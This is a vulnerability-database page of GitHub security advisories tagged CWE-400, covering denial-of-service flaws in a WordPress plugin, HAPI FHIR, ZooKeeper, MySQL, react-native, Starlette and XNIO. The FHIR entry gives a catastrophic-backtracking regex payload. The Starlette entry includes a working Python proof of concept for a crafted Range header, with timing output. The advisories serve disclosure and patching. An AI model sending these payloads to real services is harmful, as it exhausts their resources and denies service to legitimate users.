Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5521 vulnerabilities reference this CWE, most recent first.

GHSA-7CGG-8926-325V

Vulnerability from github – Published: 2022-02-15 00:02 – Updated: 2023-07-21 18:30
VLAI
Details

The Popup | Custom Popup Builder WordPress plugin before 1.3.1 autoload data from its popup on every pages, as such data can be sent by unauthenticated user, and is not validated in length, this could cause a denial of service on the blog

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-0214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-14T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Popup | Custom Popup Builder WordPress plugin before 1.3.1 autoload data from its popup on every pages, as such data can be sent by unauthenticated user, and is not validated in length, this could cause a denial of service on the blog",
  "id": "GHSA-7cgg-8926-325v",
  "modified": "2023-07-21T18:30:33Z",
  "published": "2022-02-15T00:02:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0214"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/ca2e8feb-15d6-4965-ad9c-8da1bc01e0f4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7CMJ-V6X8-FRVV

Vulnerability from github – Published: 2026-07-09 13:43 – Updated: 2026-07-09 13:43
VLAI
Summary
org.hl7.fhir.core: ReDoS via FHIRPath matches()/replaceMatches() in FHIR Validator HTTP Endpoint
Details

Summary

All implementations of FHIRPathEngine accept arbitrary FHIRPath expressions and evaluate them without input validation. The utility intended to secure this evaluation did so incorrectly, and did not fully cover all places in which evaluation was being done. An attacker can send a resource containing an evil regex pattern that causes catastrophic backtracking, exhausting system resources, and causing Denial-of-Service.

Details

The vulnerability exists in regex execution in FHIRPathEngine implementations across multiple code modules. The FHIRPath functions matches(), matchesFull(), and replaceMatches() pass user-controlled regular expressions to Java's Pattern.compile() and String.replaceAll() through a utility class designed to time out after a specified interval. That utility correctly cancelled a single executor thread and returned with an exception, but the execution within the thread had no means to listen for this cancellation and would persist. Furthermore, three modules contained method calls in FHIRPathEngine that were not protected by this utility class.

Why this is exploitable:

Java's Pattern.compile() with a pattern like (a+)+$ against input "aaaaaaaaaaaaaaaaaaaaaa!" causes exponential backtracking (O(2^n) time complexity).

Impact

CPU Exhaustion: The exponential backtracking in Java's regex engine consumes 100% of a CPU core for the duration of the hang (effectively infinite for sufficiently long input strings) for callers of FHIRPathEngine.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2016may"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4b"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.5"
            },
            {
              "fixed": "6.9.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu2016may"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.dstu3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r4b"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.r5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation.cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:43:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Summary\nAll implementations of FHIRPathEngine accept arbitrary FHIRPath expressions and evaluate them without input validation. The utility intended to secure this evaluation did so incorrectly, and did not fully cover all places in which evaluation was being done. An attacker can send a resource containing an evil regex pattern that causes catastrophic backtracking, exhausting system resources, and causing Denial-of-Service.\n\n## Details\nThe vulnerability exists in regex execution in FHIRPathEngine implementations across multiple code modules. The FHIRPath functions matches(), matchesFull(), and replaceMatches() pass user-controlled regular expressions to Java\u0027s Pattern.compile() and String.replaceAll() through a utility class designed to time out after a specified interval. That utility correctly cancelled a single executor thread and returned with an exception, but the execution within the thread had no means to listen for this cancellation and would persist. Furthermore, three modules contained method calls in FHIRPathEngine that were not protected by this utility class.\n\n## Why this is exploitable:\n\nJava\u0027s Pattern.compile() with a pattern like (a+)+$ against input \"aaaaaaaaaaaaaaaaaaaaaa!\" causes exponential backtracking (O(2^n) time complexity). \n\n## Impact\nCPU Exhaustion: The exponential backtracking in Java\u0027s regex engine consumes 100% of a CPU core for the duration of the hang (effectively infinite for sufficiently long input strings) for callers of FHIRPathEngine.",
  "id": "GHSA-7cmj-v6x8-frvv",
  "modified": "2026-07-09T13:43:03Z",
  "published": "2026-07-09T13:43:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-7cmj-v6x8-frvv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "org.hl7.fhir.core: ReDoS via FHIRPath matches()/replaceMatches() in FHIR Validator HTTP Endpoint"
}

GHSA-7CWJ-J333-X7F7

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-07-01 16:58
VLAI
Summary
Uncontrolled Resource Consumption in Apache ZooKeeper
Details

Two four letter word commands "wchp/wchc" are CPU intensive and could cause spike of CPU utilization on Apache ZooKeeper server if abused, which leads to the server unable to serve legitimate client requests. Apache ZooKeeper thru version 3.4.9 and 3.5.2 suffer from this issue, fixed in 3.4.10, 3.5.3, and later.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.5.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0"
            },
            {
              "fixed": "3.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-5637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-01T16:58:11Z",
    "nvd_published_at": "2017-10-10T01:30:00Z",
    "severity": "HIGH"
  },
  "details": "Two four letter word commands \"wchp/wchc\" are CPU intensive and could cause spike of CPU utilization on Apache ZooKeeper server if abused, which leads to the server unable to serve legitimate client requests. Apache ZooKeeper thru version 3.4.9 and 3.5.2 suffer from this issue, fixed in 3.4.10, 3.5.3, and later.",
  "id": "GHSA-7cwj-j333-x7f7",
  "modified": "2022-07-01T16:58:11Z",
  "published": "2022-05-13T01:08:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5637"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2477"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:3354"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:3355"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/ZOOKEEPER-2693"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/053d9ce4d579b02203db18545fee5e33f35f2932885459b74d1e4272@%3Cissues.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/58170aeb7a681d462b7fa31cae81110cbb749d2dc83c5736a0bb8370@%3Cdev.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/bcce5a9c532b386c68dab2f6b3ce8b0cc9b950ec551766e76391caa3@%3Ccommits.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rca37935d661f4689cb4119f1b3b224413b22be161b678e6e6ce0c69b@%3Ccommits.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3871"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98814"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in Apache ZooKeeper"
}

GHSA-7CXR-6J58-68M6

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.47. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-60171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:17Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.0-8.0.47. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-7cxr-6j58-68m6",
  "modified": "2026-07-22T00:31:21Z",
  "published": "2026-07-22T00:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60171"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7F53-FMMV-MFJV

Vulnerability from github – Published: 2021-07-20 17:33 – Updated: 2021-06-10 14:10
VLAI
Summary
Regular expression denial of service in react-native
Details

A regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-native"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.59.0"
            },
            {
              "fixed": "0.62.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-native"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.63.0"
            },
            {
              "fixed": "0.64.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-02T19:22:39Z",
    "nvd_published_at": "2021-06-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.",
  "id": "GHSA-7f53-fmmv-mfjv",
  "modified": "2021-06-10T14:10:51Z",
  "published": "2021-07-20T17:33:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react-native/commit/ca09ae82715e33c9ac77b3fa55495cf84ba891c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react-native/releases/tag/v0.62.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react-native/releases/tag/v0.64.1"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-293-redos-react-native"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/react-native"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular expression denial of service in react-native"
}

GHSA-7F5H-V6XP-FCQ8

Vulnerability from github – Published: 2025-10-28 20:38 – Updated: 2025-11-04 17:40
VLAI
Summary
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Details

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)

    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.49.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "starlette"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.39.0"
            },
            {
              "fixed": "0.49.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-28T20:38:01Z",
    "nvd_published_at": "2025-10-28T21:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n    @staticmethod\n    def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n        ranges: list[tuple[int, int]] = []\n        try:\n            units, range_ = http_range.split(\"=\", 1)\n        except ValueError:\n            raise MalformedRangeHeader()\n\n        # [...]\n\n        ranges = [\n            (\n                int(_[0]) if _[0] else file_size - int(_[1]),\n                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n            )\n            for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n            if _ != (\"\", \"\")\n        ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n  This affects any Starlette application that uses:\n\n  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n  - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n    import starlette\n    from starlette.responses import FileResponse\nexcept Exception as e:\n    print(f\"[ERROR] Failed to import starlette: {e}\")\n    sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n    \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n    return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n    start = time.perf_counter()\n    try:\n        FileResponse._parse_range_header(header, file_size)\n    except Exception:\n        pass\n    end = time.perf_counter()\n    elapsed = end - start\n    return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n    range_body = build_payload(num_zeros)\n    header = \"bytes=\" + range_body\n    # Use a sufficiently large file_size so upper bounds default to file size\n    file_size = max(len(range_body) + 10, 1_000_000)\n    \n    print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n    elapsed_time = test(header, file_size)\n    print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n    print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n    for n in [5000, 10000, 20000, 40000]:\n        run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
  "id": "GHSA-7f5h-v6xp-fcq8",
  "modified": "2025-11-04T17:40:59Z",
  "published": "2025-10-28T20:38:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kludex/starlette"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``"
}

GHSA-7F88-5HHX-67M2

Vulnerability from github – Published: 2024-03-22 21:30 – Updated: 2024-11-26 03:36
VLAI
Summary
XNIO denial of service vulnerability
Details

A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.8.13.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.xnio:xnio-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.14.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-5685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-24T20:23:58Z",
    "nvd_published_at": "2024-03-22T19:15:07Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix.",
  "id": "GHSA-7f88-5hhx-67m2",
  "modified": "2024-11-26T03:36:37Z",
  "published": "2024-03-22T21:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5685"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xnio/xnio/commit/ffabdcdda508ef87aeadad5ca3f854e274d60ec1"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:7637"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:7638"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:7639"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2023:7641"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10207"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10208"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2707"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-5685"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2241822"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xnio/xnio"
    },
    {
      "type": "WEB",
